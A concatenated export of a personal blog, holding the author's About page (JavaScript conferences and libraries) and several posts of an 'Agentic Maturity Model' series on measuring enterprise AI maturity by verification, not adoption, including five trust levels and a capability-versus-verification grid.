# voodootikigod — Full Content
> All posts and pages from voodootikigod.com, concatenated as Markdown for LLM ingestion.
# About
Source: https://www.voodootikigod.com/about
I am Chris Williams, known on the Internet as [Voodoo Tiki God](http://twitter.com/voodootikigod?ref=voodootikigod.com). If you do anything with JavaScript, you may know of me, but more than likely know of something I have created directly or helped to create. I do many things, most of the times if you look hard enough, you will find me hiding behind the scenes. Some of the things you may know that I have either created or been intimately involved with:
### Conferences
- [JSConf](http://jsconf.com/?ref=voodootikigod.com) - Specially organizing the JSConf US events for [2009](http://2009.jsconf.us/?ref=voodootikigod.com), [2010](http://2010.jsconf.us/?ref=voodootikigod.com), [2011](http://2011.jsconf.us/?ref=voodootikigod.com), [2012](http://2012.jsconf.us/?ref=voodootikigod.com), [2013](http://2013.jsconf.us/?ref=voodootikigod.com), and the upcoming [2014](http://2014.jsconf.us/?ref=voodootikigod.com). I advice/assist the other JSConf events worldwide.
- [RobotsConf](http://robotsconf.com/?ref=voodootikigod.com) - The first hardware conference for software developers and one of the most diverse and exciting technology conferences. Ever.
- [CSSConf](http://2014.cssconf.com/?ref=voodootikigod.com) - Supported the [2013](http://cssconf.com/?ref=voodootikigod.com) and co-organizing the [2014](http://2014.cssconf.com/?ref=voodootikigod.com) event.
- [NodeConf](http://2011.nodeconf.com/?ref=voodootikigod.com) - Co-organizer of the original (2011) NodeConf event in Portland, OR.
- [PyCodeConf](http://py.codeconf.com/?ref=voodootikigod.com) - Organizer of the amazingly different take on a Python conference with GitHub.
- [DojoConf](#) - Organizer of the first ever conference for the Dojo JavaScript Toolkit.
- [CapitolJS](http://capitoljs.com/?ref=voodootikigod.com) - Organizer of the first JS conference event for the Washington DC region.
- [NoSQL East](http://nosqleast.com/?ref=voodootikigod.com) - Co-organizer for the first ever conference focused on the NoSQL movement in 2009, Atlanta, GA.
- [Beer.js](https://github.com/beerjs?ref=voodootikigod.com) - Originator of the idea that user groups don't have to always be focused on lectures on introductory topics. Sometimes just sharing what you are doing with other similar mind individuals is the perfect gathering.
### Code
- Author of the [JS Logo](https://github.com/voodootikigod/logo.js?ref=voodootikigod.com) that has become the defacto logo for the JS programming language worldwide. Now happily [transitioned over to the OpenJS Foundation](https://openjsf.org/blog/jsconf-brand-and-js-logo-and-wordmark-contributed).
- Author of [node-serialport](https://github.com/voodootikigod/node-serialport?ref=voodootikigod.com) the library that allows JS developers to interact and control the real world.
- Author of [postmark.js](https://github.com/voodootikigod/postmark.js?ref=voodootikigod.com) the library for interacting with the postmark mail service from node.js.
- Author of the Conference Budget spreadsheet that is used by many indie tech conference organizers to ensure they stay afloat.
- Vice President of Product Development at [SaferAging](http://www.saferaging.com/?ref=voodootikigod.com), a company that deploys sensory networks into senior citizens homes to alert if they need assistance (whether to passive or active alert detection).
- Advisor and developer of [ModWedding](http://modwedding.com/?ref=voodootikigod.com) a modern take on wedding websites.
- Former developer of [OurParents.com](http://ourparents.com/?ref=voodootikigod.com) (the site has since been sold).
### Events
- [NodeBots](http://nodebots.io/?ref=voodootikigod.com) - Defined, established, and supported the gathering of JS developers to build robots over an 8 hour day.
- [NodeCopter](http://nodecopter.com/?ref=voodootikigod.com) - Assisted with the setup and eventual worldwide spread of the amazing event known as nodecopter which allows JS developers to control and do amazing things with Parrot ARDrone2 quadcopters.
### Crazy Ideas
- Co-host of [JSConf Live](http://jsconflive.com/?ref=voodootikigod.com)
- Co-host of [RobotsWeekly](http://robotsweekly.com/?ref=voodootikigod.com)
- Host of [Ask A Tech Event Organizer](http://aateo.com/?ref=voodootikigod.com)
- Most proud father of two amazing kids, Virginia and Cameron.
---
# Why Your AI Dashboard Is Lying About **Maturity**
Published: 2026-07-08T17:39:08.000-0400
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-tldr
> The whole Agentic Maturity Model on one page: five levels, the Diagonal Law, four tracks, and the assessment to find your organization's wall.
Every enterprise AI maturity model will hand you a good score, and that's the tell that you are being sold to rather than provided clarity of where you are along the journey. I have yet to see one that asks the question that actually decides whether the work is trustworthy: when the AI is wrong, what catches it before it ships?
In my view, the Agentic Maturity Model (AMM) is built around that question instead of around sentiment. It's audit-checkable, not sentiment-checkable, so it can't be gamed by the organization it's measuring.
[The full argument for why adoption isn't maturity opens the AMM full series](/amm-1-adoption-curve-not-maturity).
## What actually moves when maturity increases
Underneath every level in this model is a constant and consistent focus: maturity isn't a function of how much AI a company produces or uses, it's a function of what mechanism proves the output correct, and whether that mechanism holds as usage grows.
Tooling, knowledge architecture, observability, and unit economics don't mature on their own. They mature only as trust migrates from a human's attention to a system that verifies itself. Seats and tokens are what that migration looks like from the outside. They aren't the migration.
## Five levels, five walls
Trust moves through five levels, and each one is defined by its mechanism and the wall that ends it:
Level 2 is where the typical enterprise resides today, and it earns that position honestly: licenses procured, copilots deployed, dashboards green. Your copilots made you feel mature. The review bottleneck says otherwise, and it's invisible to every usage metric your program reports.
[The full walk through all five levels, their audit checks, and their unlocks is here](/amm-2-five-levels).
## The Diagonal Law
Underneath the levels are two numbers: capability (what you've deployed) and verification (what establishes the work is correct).
The relationship between them is the whole game:
> **Capability above verification is risk; verification above capability is waste.**
Nearly every enterprise AI failure is one of the named cells on that grid.
- Shadow Fleet (M1): policy says no, egress logs say yes.
- The Review Bottleneck (M2): agents produce task-scale output, humans still read every diff, or pretend to, the defining trap of the era.
- Cowboy Autonomy (M3): agents merging with no gates at all.
- Compliance Freeze (M6): governance built for a capability level the organization refuses to reach.
Off the grid, on the knowledge and observability tracks:
- The RAG Plateau (M4), retrieval hoarding claimed as strategy.
- Dashboard Theater (M5), seats and acceptance rate reported as outcomes with no defect-escape data behind them.
- Skill Rot (M7), a skill library authored once and never re-verified.
[Explore the full grid, the domain it does and doesn't cover, and how to locate yourself in under a minute](/amm-3-diagonal-law).
## The four tracks that decide whether the levels hold
Four tracks make the levels and the grid actually work, and two of them have a named failure mode for what happens when the organization skips them.
**Knowledge:** RAG is runtime lookup, skills are compiled knowledge, and an organization still measuring itself by corpus size instead of migrating retrieval into a skill library is one quarter from the RAG Plateau (M4). [Read further about how retrieval turns into a compiled skill, and why most organizations never make the move](/amm-4-rag-runtime-skills-compiled).
**Observability** is a track, not a level, because every transition is an observability upgrade before it's a tooling upgrade, and an organization reporting seats and acceptance rate with no defect-escape data behind them has already built Dashboard Theater (M5). [The case for measuring before you distill is here](/amm-5-observability).
**Verification:** adversarial review isn't a Level 4 luxury, it's the entry fee for Level 3, and it matures into calibrated prosecution with a known error rate. [The mechanics of prosecution and calibration are here](/amm-6-review-prosecution-calibration).
**Economics:** a Level 2 organization can burn more tokens than a Level 3 one and still be the less mature company, because the real unit of account is cost per merged, verified change, trending down. [Dive a bit deeper on the full unit-economics argument](/amm-7-economics).
## The assessment
Find your organization on the grid. Know and name the wall in front of you. Build the one keystone unlock that dissolves that wall, not the one that just buys another quarter of looking mature and tokenmaxxing (as the kids say). [The full, sequenced diagnostic is the closing post in the AMM series](/amm-8-the-assessment).
If you're building toward Level 3 or Level 4 in software specifically, [the Agentic Development Lifecycle](/adlc-tldr) is the reference implementation, not the definition, of what that looks like running. This model tells you where you are. That one shows you how to build next.
Your dashboard was never built to answer the question that matters: when the AI is wrong, what catches it before it ships? Answer that once, honestly, and the levels above you compound on their own.
---
# The Adoption Curve **Is Not a Maturity Model**
Published: 2026-07-08T17:34:08.000-0400
Series: The Agentic Maturity Model (Part 1)
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-1-adoption-curve-not-maturity
> Every enterprise AI maturity model measures adoption: seats, tokens, enthusiasm. Adoption is not maturity. Maturity is where trust lives.
Every single enterprise AI maturity assessment I've seen shares the same five axes:
* Seats licensed,
* prompts per week
* Percentage of teams onboarded
* Executive sentiment
* A number somebody on the slide calls "adoption velocity."
Score high on all five and the "model" declares that you are advanced. Score low and you get a roadmap with more seats on it, brought to you by a model provider looking to sell more seats/tokens/licenses.
Not one of those axes asks whether the work is correct.
That omission isn't an oversight, it's the whole point of the model. A company can land in the top 10% for AI spending and the bottom 10% for AI maturity in the same fiscal year, and the adoption dashboard won't tell you which one you're looking at, because it was never built to ask the right question. Meanwhile the review queue is drowning, defect escape rates are climbing, and every chart on the transformation deck is green.
## What CMMI got right that this generation forgot
Software has graded organizational maturity before, and it did a better job of it than the current crop of AI radar charts.
The Capability Maturity Model, and later CMMI, spent the 1990s and 2000s scoring software organizations on a five-level scale. You had to produce artifacts, document processes, and provide historical defect data, not just an opinion or vibes.
Whether those artifacts reflected real behavior or became a target unto themselves is CMMI's own well-known second problem: appraisers were typically engaged and paid by the organization being assessed, and level-shopping became a real, documented criticism of the standard. But it set a floor that current AI maturity models don't even try to clear: an opinion is not evidence.
Today's AI maturity models threw that decision away. They ask a director to rate their organization's "AI readiness" on a scale of one to five and call the average an assessment. That is not a maturity model. That is a satisfaction survey wearing a rubric as a costume, and satisfaction surveys become gamified the moment they matter to anyone's bonus.
## Maturity is where trust lives
This Agentic Maturity Model is built on and around this core principle: maturity is not how much AI a company produces. It is **what mechanism establishes that the work is correct, and whether that mechanism scales**.
Everything else you would normally put on a maturity radar (tooling, knowledge architecture, observability, unit economics) is downstream of that one, key principle. It matures as a consequence of trust moving from human attention to a verified, compounding system. It does not mature on its own, no matter how many licenses you buy.
I call that principle "**trust location**". It is the actual axis of evaluation. Seats and tokens are a shadow it casts on the wall, a subsequent effect, and most enterprise AI strategy is currently spent measuring the shadow.
## Three rules for a model that can't be gamed
A maturity model that can be improved by enthusiasm will be improved by enthusiasm, and nothing else. So this one is built to three constraints, inherited from a lifecycle argument I made in the description of an [Agentic Development Lifecycle](/adlc-tldr) and worth restating here because they are the whole reason this model is worth trusting:
1. **Audit-checkable, not sentiment-checkable.** Every level is defined by a structural fact you could verify in an afternoon: a log, an artifact, a query against production data. Not a survey answer. If the only evidence for your level is a director's confidence, you don't have a level yet.
2. **Transitions are driven by pain, not aspiration.** Nobody climbs a level because a slide said to. Each level ends because its trust mechanism hits a wall it cannot get past, and the organization is forced up or it stalls. Find the pain, and you've found the level.
3. **Maturity is not monotone in AI usage.** A team running four copilots and a chatbot can burn more tokens in a week than a team running a disciplined agent pipeline burns in a month, and the second team is the mature one. Mature organizations spend deliberately, concentrated where an error is expensive to catch late. They do not spend everywhere enthusiasm reaches.
That third rule is the one that breaks the adoption-curve story completely, because it means the leaderboard your vendor sends you every quarter, ranked by spend, is not just incomplete. It can be inverted. The company at the top of that leaderboard may be the one paying the most to generate the least trustworthy output at scale.
I wrote a [series on the Agentic Development Lifecycle](/adlc-tldr) for the practitioner who has to actually build a system where the work is verified rather than merely produced. This series is for the person who signs off on that practitioner's budget, and who is currently being told by every dashboard in the building that Level 2 is the destination.
It isn't. The next two posts build the rest of the map. [The five levels](/amm-2-five-levels) name where trust actually sits today, wall by wall. [The diagonal law](/amm-3-diagonal-law) explains why almost every AI failure your board hears about, and a few that haven't reached the board yet, are the same misalignment wearing a different name.
Find your organization on the adoption curve if you want. It will tell you how much you spent. It will not tell you what you bought.
---
# **Five Levels** of Trust
Published: 2026-07-08T17:29:08.000-0400
Series: The Agentic Maturity Model (Part 2)
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-2-five-levels
> Five levels of trust location, the wall that ends each one, and the afternoon audit that tells you which one you're actually on.
The [last post](/amm-1-adoption-curve-not-maturity) made a claim: maturity is where trust lives, not how much AI you use. A claim like that is only useful if you can point at a map and find yourself on it.
Here is the map. Five levels. One axis. A wall at the end of each one that decides whether you climb or park.
## The axis is trust, not tooling
Every level below is defined by the same question, asked of a different mechanism: what establishes that this AI-produced work is correct, and does that mechanism scale?
Notice what moves as you climb, level to level, in the trust mechanism. It is never the tooling. It is always the answer to "who, or what, is allowed to say this is correct."
## Level 0: Prohibition is zero visibility, not zero usage
An organization at Level 0 has usually not achieved zero AI usage. It has achieved zero visibility into the AI usage that is happening anyway. Engineers paste code into personal accounts. They run local agents on side monitors. They expense a tool under a line item nobody scrutinizes closely enough to ask what it does. The policy did not prevent risk. It forfeited governance over risk that exists regardless, because the people doing the work found the policy slower than the deadline.
Almost every organization that believes it is at Level 0 is secretly at Level 1 with the lights off. The genuine exceptions are the rare environments where egress is physically controlled, air-gapped networks, classified systems, where prohibition is enforced by the network and not by a memo.
**Audit check:** run an anonymous survey and pull the egress logs. They will disagree with the policy, and the size of the disagreement is your actual Level 0 population.
## Level 1: Experimentation, where nothing compounds
Trust here is whatever each individual privately decides it is. Productivity claims are anecdotal, sincere, and unfalsifiable: someone found a workflow that saves them two hours a day, and there is no way to check, transfer, or scale that claim. The unit of AI work is the prompt: personal, ephemeral, unversioned, gone the day that person changes teams or leaves.
This is the level where a company can have real, individually impressive AI usage and zero organizational capability, because none of it is written down anywhere the organization can find it again.
**Audit check:** look for a single shared, versioned AI artifact anywhere in the organization, a prompt library, a skill, a template, that survives the departure of the person who wrote it. If none exists, you're at Level 1 regardless of how many people are quietly excellent at prompting.
## Level 2: Assistance is where maturity goes to feel finished
This is where the typical enterprise sits, and it earns that position honestly, because Level 2 *feels* like maturity from the inside. Licenses procured. Policy written. Copilots deployed across engineering. A RAG-powered "chat with our docs" tool shipped to positive reviews. Giphy-filled fights over which harness is best play out across Slack channels. Usage dashboards, every one of them, green.
The trust mechanism underneath all of that activity is identical to the one the organization used before any of this AI infrastructure existed: a human reads everything before it counts. AI scaled production, but it did not scale verification. Those two things were supposed to move together and didn't, so review queues balloon, and the pressure has to go somewhere. Some of it goes to hiring reviewers, linearly, against output that scales with compute. Some of it goes to throttling the agents, which quietly caps the ROI the program was funded to deliver. And a great deal of it goes to the place that absorbs pressure without ever showing up on a chart: reviewers quietly stop reading in full and start approving blindly.
Your copilots made you feel mature. The review bottleneck says otherwise.
That is not a hypothetical for later. It's a live condition at most companies running this playbook right now, and the standard adoption metrics improve as it happens: acceptance rate climbs, cycle time drops, throughput per engineer looks fantastic. Every number the transformation program reports gets better while the mechanism that was supposed to catch mistakes quietly disappears.
**Audit check:** confirm that no AI-produced change reaches production without a human reading it in full, then measure whether that's still true. Pull last quarter's AI-assisted changes and plot review duration against diff size. A growing cluster of large diffs approved in under a minute is the review bottleneck showing up in the data before it shows up in an incident. The incident just hasn't been filed yet.
## Level 3: Delegation is the structural break
This is the level where trust actually relocates, and it's the only one on this list that requires the organization to build something rather than buy or staff something. Trust migrates from human attention to machine gates: executable tests frozen before implementation exists, contracts the builder is mechanically prevented from arguing with, and fresh contexts chartered to refute the work rather than assess it, what the ADLC calls [prosecution](/adlc-4-prosecution-not-code-review) when the work in question is code.
Humans don't disappear from this picture. They concentrate at the two places their judgment actually decides something: approving the spec before work starts and accepting the running behavior after it's built. Everything between those two moments is machine-gated, which is the entire point. Agents are delegated whole tasks here, not keystrokes, because the verification underneath them finally scales the way the capability does.
**Audit check:** find a change an agent produced that reached production with no human reading the diff, and name the specific gate(s) that made that safe. If you can't name the gate, you're not at Level 3 yet, whatever your capability or token spend suggests.
## Level 4: Operationalization is the level that improves itself
Level 4 is not "more Level 3." It's a different kind of system, one that gets cheaper and stricter at the same time, because the gates themselves are the object of continuous improvement. Recurring findings from review get converted into deterministic controls. Observed work gets mined into versioned organizational skills. Gates get calibrated with planted defects so "we have review" becomes "we know our review catches this percentage of this category of mistake." The unit economic that matters at this level is cost per merged, verified change, and it falls, quarter over quarter, because the system is designed to make it fall.
The closest concrete example I can point you to is the one I built for practitioners: the [Agentic Development Lifecycle](/adlc-tldr) is the reference implementation of Level 4 for software development specifically. It is not the only way to get there. It's proof the destination exists.
**Audit check:** ask for the distillation log, the list of controls that exist today because a gate caught something last quarter, and the trendline of cost per verified change. If neither exists, the organization is somewhere south of Level 4, no matter what the capability roadmap says.
## What dissolves each wall
Every wall above has exactly one keystone unlock, the specific investment that dissolves it rather than merely postponing it.
| Transition | Wall being dissolved | Keystone unlock |
|---|---|---|
| 0 → 1 | Shadow usage | Amnesty plus visibility: acknowledge the usage, make it observable |
| 1 → 2 | Nothing compounds | Sanctioned tooling, the first shared skills, usage telemetry |
| 2 → 3 | The review bottleneck | Adversarial review plus frozen rails, trust migration from human attention to machine gates |
| 3 → 4 | Flat unit costs | Skill mining plus gate calibration, the distillation loop |
There is no keystone unlock listed for what comes after Level 4, because there isn't a wall waiting there. The whole design of the level is that it keeps dissolving its own walls before they finish forming.
## The spine is not the whole model
Underneath these five levels sit five tracks, capability, verification, knowledge, observability, and economics, each climbing its own five-stage ladder in step with the level above. This post only covers the spine on purpose. The tracks are worth an article each, and they're coming.
Of those five tracks, one is holding up all the others: verification. Every capability rung on this ladder is only safe once the verification rung underneath it has actually been built, not purchased, built. That relationship between the two, and the precise shape of what goes wrong when an organization gets it backwards, is the subject of the next post.
---
# The **Diagonal Law**
Published: 2026-07-08T17:24:08.000-0400
Series: The Agentic Maturity Model (Part 3)
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-3-diagonal-law
> Nearly every enterprise AI failure is a misalignment of two numbers: capability above verification is risk, verification above capability is waste.
Your AI program has two numbers, and you are probably tracking one of them.
The first number is **capability**: what you have deployed. The natural progression is prompts, then skills, then agents, then orchestrated fleets of agents. This number has a budget line, a vendor ecosystem, a slide in the board deck, and a conference circuit devoted entirely to increasing it. Everyone tracks this number. It's the one your dashboard is green about.
The second number is **verification**: what mechanism establishes that the work your AI produces is actually correct, and whether that mechanism scales. This number has no vendor category, rarely has a named owner, and almost never appears in the board deck. Most organizations could not tell you what theirs is if you asked in the meeting.
The Diagonal Law says the relationship between these two numbers is the whole agentic maturity game:
> **Capability above verification is risk; verification above capability is waste.**
The law names resting states, not moves. Safe progress is diagonal, and the safe way to walk a diagonal is a staircase: build the verification step, then climb the capability step onto it. Time spent on one step above the diagonal is sequencing. Residence above it is waste. Time below it, in any amount, is risk.
I built this grid the same way I built the [ADLC's flaw inventory](/adlc-1-models-arent-human): name the failure mode precisely enough and it stops being a vibe and starts being a checklist. For the ADLC, I named eight ways model-based builders fail that human developers don't. This one names seven ways enterprises misalign capability and verification, and, not by coincidence, the fix for the worst one turns out to be the same move both times: fresh contexts chartered to refute the work, not assess it.
Nearly every enterprise AI failure that makes the news, and, if you run agents under mandatory human review, at least one that is quietly developing inside your own organization right now, is an off-diagonal state on this grid. The exceptions are failures of raw model capability: a hallucinated fact inside a process that was correctly designed and verified belongs to a different axis entirely. Everything else lands here, and every off-diagonal state has a name.
## The two ladders
The [previous article](/amm-2-five-levels) in this series defined maturity by where trust lives, named the trust location. This grid gives that definition coordinates.
The **capability ladder** is the visible one, the one every vendor sells as the whole story:
- **C0 - None.** No sanctioned AI capability. Whether any *unsanctioned* capability exists is a different question, and we'll get to it.
- **C1 - Prompt.** Personal, ephemeral, unversioned. Value dies with the author.
- **C2 - Skill.** The first *organizational* unit of AI capability: a versioned, shared, reviewable artifact bundling procedure, context, and constraints. The prompt is to the skill what the shell one-liner is to the committed script.
- **C3 - Agent.** Autonomy at task scale. An agent owns a ticket, not a keystroke.
- **C4 - Orchestration.** Multiple agents under deterministic control flow, fan-out, verification panels, pipelines, maturing into a lifecycle that improves itself.
The **verification ladder** is the one that holds all the rest up, the one nobody sells:
- **V0 - Prevention.** Policy as the only control. Nothing is verified because, officially, nothing exists.
- **V1 - Individual judgment.** Whoever ran the prompt decides if the output is good. Trust is a private matter.
- **V2 - Human review.** A person reads everything AI produces before it counts. The pre-AI trust mechanism, unchanged.
- **V3 - Rails and adversarial review.** Executable tests frozen before implementation, contracts the builder cannot argue with, fresh contexts chartered to *refute* the work rather than assess it.
- **V4 - Calibrated prosecution.** Planted defects measure what the gates actually catch. Review stops being a ritual and becomes an instrument with a known error rate.
Put capability on the horizontal axis and verification on the vertical, and every organization occupies a cell of a five-by-five grid. Realistically a *region*: large enterprises sit in different cells per team, and the outliers matter, because incidents start with your outlier teams, not your organization-wide average. The diagonal cells, where the ladders align, are the five maturity levels from the last post. Everything else is a trap.
Two measures govern how bad an off-diagonal cell is. The distance from the diagonal measures the size of the trust gap. The volume of work flowing through the capability measures your exposure to it. The same shallow gap is a smaller problem under a trickle of shadow prompts than under an agent fleet's full output, which is why the mildest trap and the defining one sit at the same distance from the diagonal, and volume, not geometry, separates them.
## The Diagonal Law's jurisdiction
Before walking the grid, let's discuss an honest boundary: the verification ladder ranks trust mechanisms *for work whose acceptance criteria can be made executable*, code, configuration, structured analysis, anything a frozen test or contract can adjudicate. That covers a far larger share of enterprise AI work than most leaders assume, and the whole ADLC argument is that teams under-invest in making criteria executable in the first place. But it doesn't cover everything.
Where correctness is irreducibly a judgment call, novel architecture, strategy, ethics, taste, expert human review is not a rung to transcend. It's the ceiling, and machine gates serve as filters that concentrate the human's attention, not replacements for it. The same is true where regulation makes a human decision-maker a legal floor: in medical devices, aviation software, credit decisions, and their neighbors, "no human reads the output" is a compliance violation, not Level 3. For that work, the diagonal tops out at a **mandated lane**, V2 - Human Review plus rails: human judgment as the final gate, machine verification underneath it, which the model treats as aligned, not immature. The lane is deliberately not a numbered level. It fails Level 3's audit check by design. (If your work lives in the mandated lane, read its C3 - Agent/V2 - Human Review cell as this carve-out, not as M2.)
One warning before reaching for this exemption: it has to be earned, not claimed. The boundary test is whether you can name the specific acceptance criterion that resists any executable expression. "We haven't written the tests yet" is not judgment work. It's M2 (defined below, The Review Bottleneck) with a vocabulary. The Diagonal Law governs everything on the other side of that boundary, which is where most enterprise AI output already lives.
## The risk triangle: capability outruns verification
Below and to the right of the diagonal, output is produced faster than anything establishes it's correct. Three named states live here. You'll meet M4, M5, and M7 in later articles in this series; the inventory is numbered across the whole model, and those three live on tracks this post sets aside.
### M1 - Shadow Fleet (C1-2, V0)
Policy says no. The egress logs say yes. Engineers are pasting code into personal accounts, running local agents, expensing tools under ambiguous line items, and because the official posture is prohibition, none of it is visible, none of it is governed, and none of it can even be measured. The Shadow Fleet is usually the mildest off-diagonal state, the volume flowing through it is a trickle, and the most common first trap: risk is small per incident, but the organization has forfeited the telemetry it would need to know that.
### M2 - The Review Bottleneck (C3, V2)
This is the defining trap of the era, so it earns the longest look.
An organization reaches M2 by doing everything right according to the adoption playbook. Licenses procured. Policy written. Copilots deployed, then agents. Usage climbs, the dashboard glows, the transformation program declares victory. And the trust mechanism throughout is the same one the organization used before AI existed: a human reads everything.
Here is the arithmetic that playbook never runs. Agents multiplied the volume of reviewable output; human review capacity did not multiply. Whatever the exact ratio in your shop, the direction isn't in doubt: production scaled and verification didn't. So the gap has to go somewhere, and there are only a few places it can go. You can hire reviewers, but you're hiring linearly against a capability that scales with compute. You can throttle the agents to review capacity, which quietly caps the ROI the program was sold on, and the throttle never survives the next quarter's targets. You can triage, routing only "high-risk" output to full review, which is real progress *if* the triage criteria are themselves verified, and a silent hole if they aren't. Every one of these postpones the wall. None dissolves it. And when the postponements run out, the remaining pressure lands in the one place that absorbs it invisibly: reviewers quietly stop reading.
Rubber-stamping is not a moral failure of your reviewers. It's the rational response to an impossible workload, and it arrives silently. The approval still happens. The checkbox still gets checked. The audit trail still shows a named human on every change. What disappeared is the thing the checkbox was supposed to certify, and no dashboard notices, because the dashboard measures approvals, not attention.
Worse: the standard adoption metrics *improve* as review integrity collapses. Acceptance rate climbs. Cycle time drops. Throughput per engineer soars. Every number your program reports gets better as the actual safety mechanism quietly dies. Acceptance rate is a sentiment metric in a lab coat.
If you want to know whether this has already started, don't ask your reviewers. Measure. Take last quarter's AI-assisted changes and plot review duration against diff size. The cluster to fear is large diffs with tiny review times, substantial changes approved in under a minute. Nearly every organization that runs agents under mandatory full review develops this cluster; its size is your distance from the trust mechanism you think you have. A sub-minute approval is a screening signal, not a conviction, some of those are pre-reviewed designs or mechanical refactors. The *trend* is the tell.
M2 is where most "successful" enterprise AI programs are parked, and it's the reason this maturity model exists. The organizations in it feel mature. Their metrics say they're mature. They are one escaped defect away from a very different board conversation.
### M3 - Cowboy Autonomy (C3-4, V1)
Agents merging with neither human nor machine gates. Sometimes this is a startup that never built gates. More often, inside an enterprise, it's what M2 decays into: a team drowning in review debt that starts auto-approving "low-risk" categories without first building the rails that would make that safe. M3 is fast, and every week it survives gets cited as evidence it's fine. It is not fine. It's unpriced risk accumulating off the books, discovered by the incident rather than the dashboard.
## The waste triangle: verification outruns capability
Above and to the left of the diagonal sits the failure mode nobody writes post-mortems about, because its cost is invisible: opportunity.
The staircase distinction matters here. Verification running one step ahead of capability isn't waste. It's exactly the sequencing this model prescribes. Building the rails before deploying the agents is how you climb. The waste triangle names something else: verification as a *residence*. Infrastructure built, gates staffed, frameworks ratified, and a standing refusal to climb the capability step they were built for. The test that separates the two states is a single question: which capability step is this verification being built for, and when does it ship? Sequencing has an answer, a named step and a date. Residence has a standing committee.
### M6 - Compliance Freeze (C1, V3-4)
An AI governance council. A model risk framework adapted from banking regulation. A seventeen-step approval process for any AI-touched change. And underneath all of it: a handful of engineers using prompts, because nothing more capable can survive the gauntlet. Trust infrastructure with nothing to trust.
The frozen state isn't safe. It's slow-motion loss. The organization pays for governance designed for a capability level it refuses to reach, while its competitors climb the diagonal and its own engineers drift quietly into the Shadow Fleet, which means the *actual* risk posture of a Compliance Freeze organization is often M1 wearing M6's badge. Prohibition-grade oversight of the sanctioned tools, zero oversight of the real ones.
## The truce
Here's the political reading of the grid, because inside an enterprise the Diagonal Law isn't just an engineering claim. It's a negotiation.
Every vendor, and every enthusiast on your staff, pushes your organization **rightward**: more capability, now. Every CISO, auditor, and risk officer pushes **upward**: more control, first. Left to fight, these forces produce lurching, a sprint rightward into M2, an incident, a panicked slam upward into M6, a productivity revolt, another sprint rightward.
The diagonal is the truce. It gives the CTO and the CISO a shared map on which both of their instincts are correct, *in alternation*. The engineering side is right that the next capability rung must be climbed. The risk side is right that it must not be climbed before the verification rung below it exists. The Diagonal Law converts an ideological argument, move fast versus be safe, into a sequencing agreement: nobody argues about *whether*, only about *what must be true first*. In practice this is the model's highest-leverage use, not scoring maturity, but ending the meeting where the two halves of the company talk past each other.
## Why you cannot leapfrog
The seduction of the capability ladder is that every rung is for sale. A procurement order can put your organization at C4 by Friday: orchestration platforms, agent fleets, the works. The verification ladder's *tooling* is increasingly for sale too, eval platforms, guardrail products, red-team services. What isn't for sale is the thing the tooling instruments: the relocation of trust.
Trust relocations are organizational change. Rails have to be authored by people who learn to write executable specifications. Adversarial review, what the ADLC calls [prosecution](/adlc-4-prosecution-not-code-review), has to be chartered, and then *believed*, which means calibrated, because no engineering leader will actually stop requiring human review until someone can show, with planted defects, what the machine gates catch. Observability has to exist before any of it, because you cannot calibrate what you don't record. You can buy every one of those capabilities at a vendor booth. You cannot buy your organization's willingness to route trust through them.
This asymmetry, capability is purchasable, trust relocation is not, is the entire explanation for the shape of the industry right now. It's why the risk triangle is crowded and the diagonal is not. Buying C3 while standing at V2 does not make you a Level 3 organization. It makes you M2 with better tooling.
## Locate yourself in under a minute
Three questions. Run them per workstream, not per company; a large organization lands in different cells for different teams, and the outliers are the point. Each answer is audit-checkable, which is also the point: a maturity model whose levels can be reached by enthusiasm will be gamed by its own audience.
**1. Can AI-produced work reach production without a human reading it in full?**
First, check whether agents actually flow through the gates that would make this true: rails with nothing riding on them is not Level 3, it's the staircase step just before it (C2 over V3), and the only question is when you climb.
- **Yes, with calibration data:** planted-defect catch rates, a log of gate findings converted into permanent controls. Level 4.
- **Yes, gates exist but nobody has measured them:** Level 3.
- **Yes, but there's no gate, just precedent and luck:** M3.
- **No, verification is V2 or below:** continue, and ask question two of every workstream that still routes through a human.
**2. Do you run agents, AI owning whole tasks rather than keystrokes?**
- **No:** capability sits at C2 or below. Continue to question three.
- **Yes, outside the mandated lane:** agents under mandatory full human review is C3 over V2, which is M2 *by construction*.
- **Yes, inside the mandated lane:** the same kind of measurement matters here too, but the target is rails *under* the human gate, never the removal of it.
For the outside-the-mandated-lane case, how far it's progressed is answered by the same measurement from the M2 section above: reviewers genuinely still reading everything means early M2, you're paying the full queue cost and the wall is ahead of you rather than behind you. A growing large-diff, tiny-duration cluster means the trust mechanism you're counting on has already partially dissolved. Either way the fix is the same, and it's not more reviewers.
**3. Does your governance match your actual usage, not your sanctioned usage?**
- **Answering requires discovering what your actual usage is:** you have M1 somewhere in the building.
- **Governance is built for capabilities you prohibit:** you're paying M6 prices for M1 risk.
- **Verification is built out to V3-4 while capability idles at C1**, gates with no dated plan to put anything through them: that's M6 itself.
- **Policy, telemetry, and practice genuinely agree** (including the rare organization whose egress controls make prohibition real): you're wherever questions one and two put you, and you have the receipts to prove it.
Most readers will land in M2, and most of the rest in M1 or M6. That's not an indictment. It's a map reference. The traps aren't failures of intelligence or diligence. They're the natural resting states of the two forces described above, which is exactly why escaping them requires a law and not just good intentions.
## The move is toward the diagonal
One more thing the grid makes obvious that prose never did: when you find yourself off-diagonal, the corrective move is toward the diagonal, and which direction that is depends on which side you're on.
In the risk triangle, the move is **vertical**. Organizations here instinctively consider retreat: pull back the agents, move left. This feels responsible and accomplishes nothing, because the economic pressure that pushed you rightward hasn't gone anywhere. You'll be back in the same cell within two quarters, plus a demoralized engineering organization. The durable move is upward: keep the capability, build the verification underneath it. Freeze rails. Charter adversarial review. Instrument outcomes. In M3 the first vertical step is an emergency step, taken today: reinstate a gate, yes, a human one, yes, that lands you in M2, because rails take months to build and your exposure is daily. Then keep climbing.
In the waste triangle, the move is **horizontal**: keep the gates, they're genuinely valuable, and they were the hard half to build, and point them at real capability at last. An M6 organization is closer to Level 3 than it believes. It built the staircase's tall side first. What it never did was step onto it.
## The law, restated
The grid has two axes, but the model underneath it has more tracks, knowledge and observability among them, with their own traps (the RAG Plateau, Dashboard Theater, Skill Rot) that later articles in this series take up. The Diagonal Law is the case that matters most because capability and verification are the pair that produces incidents when misaligned in one direction and bleeds opportunity when misaligned in the other.
